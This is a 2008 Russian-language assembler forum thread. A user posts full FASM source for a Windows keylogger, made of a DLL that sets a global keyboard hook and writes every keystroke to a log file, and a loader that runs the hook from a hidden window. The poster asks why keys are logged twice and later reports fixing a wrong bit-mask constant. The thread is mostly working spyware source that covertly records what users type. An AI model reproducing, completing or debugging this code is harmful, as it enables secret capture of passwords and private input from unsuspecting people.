Кейлоггер. Странности с Windows-хуками

Тема в разделе "WASM.ASSEMBLER", создана пользователем TerraIncognita, 23 май 2008.

  1. TerraIncognita

    TerraIncognita New Member

    Публикаций:
    0
    Регистрация:
    30 апр 2008
    Сообщения:
    22
    Здраствуйте.
    попробовал написать простой кейлоггер, который все нажатия клавиш записывает в C:\log.txt


    Если у вас есть свободное время - подскажите, пожалуйста, почему он каждую клавишу пишет два раза? :dntknw:

    вот исходник:

    libastral.dll:
    Код (Text):
    1. format PE GUI 4.0 DLL
    2. entry KLogEntry
    3. include '%fasminc%\win32a.inc'
    4.  
    5. section '.data' data readable writeable
    6.  
    7.         hInstance       dd ?
    8.         NumWritten      dd ?
    9.         hFile           dd ?
    10.         chchch          db ?
    11.         LogFile         db 'C:\log.txt',0
    12.         CrLf            db 0Dh,0Ah
    13.         _ks             rb 256
    14.         w               dd ?
    15.  
    16. section '.bss' data readable writeable shareable
    17.  
    18.         hHook           dd ?
    19.  
    20. section '.code' code readable writeable executable
    21.  
    22.   proc KLogEntry hInst, reason, reserved1
    23.         cmp     [reason],DLL_PROCESS_ATTACH
    24.         jne     .finish
    25.         push    [hInst]
    26.         pop     [hInstance]
    27.     .finish:
    28.         ret
    29.   endp
    30.  
    31.   proc InstallHook
    32.         invoke  SetWindowsHookEx,WH_KEYBOARD,NKLogProc,[hInstance],0
    33.         mov     [hHook],eax
    34.         ret
    35.   endp
    36.  
    37.   proc UninstallHook
    38.         invoke  UnhookWindowsHookEx,[hHook]
    39.         ret
    40.   endp
    41.  
    42.   proc NKLogProc nCode, wParam, lParam
    43.         test    [lParam],40000000
    44.         jz      .nologkey
    45.         cmp     [nCode],HC_ACTION
    46.         jne     .nologkey
    47.         cmp     word [wParam],VK_SPACE
    48.         je      .logkey
    49.         cmp     word [wParam],VK_RETURN
    50.         je      .logkey
    51.         cmp     [wParam],2Fh
    52.         jb      .nologkey
    53.         cmp     [wParam],100h
    54.         jbe     .logkey
    55.         jmp     .nologkey
    56.     .logkey:
    57.         invoke  CreateFile,LogFile,GENERIC_READ or GENERIC_WRITE,0,0,OPEN_ALWAYS,0,0
    58.         mov     [hFile],eax
    59.         invoke  SetFilePointer,[hFile],0,0,FILE_END
    60.         cmp     word [wParam],VK_RETURN
    61.         jne     .noenter
    62.         invoke  WriteFile,[hFile],CrLf,2,NumWritten,0
    63.         jmp     .finish
    64.     .noenter:
    65.         invoke  GetKeyboardState,_ks
    66.         mov     [NumWritten],0
    67.         invoke  ToAscii,[wParam],[NumWritten],_ks,w,0
    68.         mov     al,byte [w]
    69.         mov     [chchch],al
    70.         invoke  WriteFile,[hFile],chchch,1,NumWritten,0
    71.     .finish:
    72.         invoke  CloseHandle,[hFile]
    73.     .nologkey:
    74.         invoke  CallNextHookEx,[hHook],[nCode],[wParam],[lParam]
    75.         ret
    76.   endp
    77.  
    78. section '.idata' import data readable writeable
    79.         library user32,'user32.dll',\
    80.                 kernel32,'kernel32.dll'
    81.         include '%fasminc%\api\user32.inc'
    82.         include '%fasminc%\api\kernel32.inc'
    83.  
    84. section '.edata' export data readable writeable
    85.         export 'libastral.dll',\
    86.                 InstallHook,'InstallHook',\
    87.                 UninstallHook,'UninstallHook',\
    88.                 NKLogProc,'NKLogProc'
    89.  
    90. section '.reloc' fixups data readable discardable
    NKeyLogger.exe:
    Код (Text):
    1. format PE GUI 4.0
    2. entry start
    3. include '%fasminc%\win32a.inc'
    4.  
    5. section '.data' data readable writeable
    6.  
    7.         LibName         db 'libastral.dll',0
    8.         CFileName       db 'C:\ntldr.zza',0
    9.         wc              WNDCLASSEX
    10.         ClassName       db '##NK##',0
    11.         AppName         db '$$NK$$',0
    12.         hwnd            dd ?
    13.         msg             MSG
    14.         hTimer          dd ?
    15.         hFile           dd ?
    16.         hLib            dd ?
    17.  
    18. section '.code' code readable writeable executable
    19.  
    20.   start:
    21.         invoke  FindWindow,ClassName,AppName
    22.         test    eax,eax
    23.         jnz     .klir
    24.         invoke  GetModuleHandle,0
    25.         mov     [wc.hInstance],eax
    26.         mov     [wc.cbSize],sizeof.WNDCLASSEX
    27.         mov     [wc.style],CS_HREDRAW or CS_VREDRAW
    28.         mov     [wc.lpfnWndProc],WndProc
    29.         mov     [wc.cbClsExtra],0
    30.         mov     [wc.cbWndExtra],0
    31.         mov     [wc.hbrBackground],COLOR_WINDOW+1
    32.         mov     [wc.lpszClassName],ClassName
    33.         mov     [wc.lpszMenuName],0
    34.         invoke  LoadIcon,0,IDI_APPLICATION
    35.         mov     [wc.hIcon],eax
    36.         mov     [wc.hIconSm],eax
    37.         invoke  LoadCursor,0,IDC_ARROW
    38.         mov     [wc.hCursor],eax
    39.         invoke  RegisterClassEx,wc
    40.         invoke  CreateWindowEx,0,ClassName,AppName,0,0,0,0,0,0,0,[wc.hInstance],0
    41.         mov     [hwnd],eax
    42.         invoke  ShowWindow,eax,SW_HIDE
    43.         invoke  UpdateWindow,[hwnd]
    44.     @@:
    45.         invoke  GetMessage,msg,0,0,0
    46.         test    eax,eax
    47.         jz      @f
    48.         invoke  TranslateMessage,msg
    49.         invoke  DispatchMessage,msg
    50.         jmp     @b
    51.     @@:
    52.         mov     eax,[msg.wParam]
    53.     .klir:
    54.         invoke  ExitProcess,0
    55.  
    56.   proc WndProc hWnd, uMsg, wParam, lParam
    57.         cmp     [uMsg],WM_CREATE
    58.         je      .wmcreate
    59.         cmp     [uMsg],WM_DESTROY
    60.         je      .wmdestroy
    61.         invoke  DefWindowProc,[hWnd],[uMsg],[wParam],[lParam]
    62.         ret
    63.     .wmcreate:
    64.         call    [InstallHook]
    65.         jmp     .finish
    66.     .wmdestroy:
    67.         call    [UninstallHook]
    68.         invoke  PostQuitMessage,0
    69.         jmp     .finish
    70.     .finish:
    71.         xor     eax,eax
    72.         ret
    73.   endp
    74.  
    75. section '.idata' import data readable writeable
    76.         library user32,'user32.dll',\
    77.                 kernel32,'kernel32.dll',\
    78.                 libastral,'libastral.dll'
    79.         include '%fasminc%\api\user32.inc'
    80.         include '%fasminc%\api\kernel32.inc'
    81.         import libastral,\
    82.                 InstallHook,'InstallHook',\
    83.                 UninstallHook,'UninstallHook'
     
  2. TerraIncognita

    TerraIncognita New Member

    Публикаций:
    0
    Регистрация:
    30 апр 2008
    Сообщения:
    22
    уже около 4 часа ищу ошибку... наконец-то нашел сам %).
    я всего лишь вместо "test [lParam],40000000h" написал "test [lParam],4000000"
    Как же я ненавижу такие ошибки... :dntknw: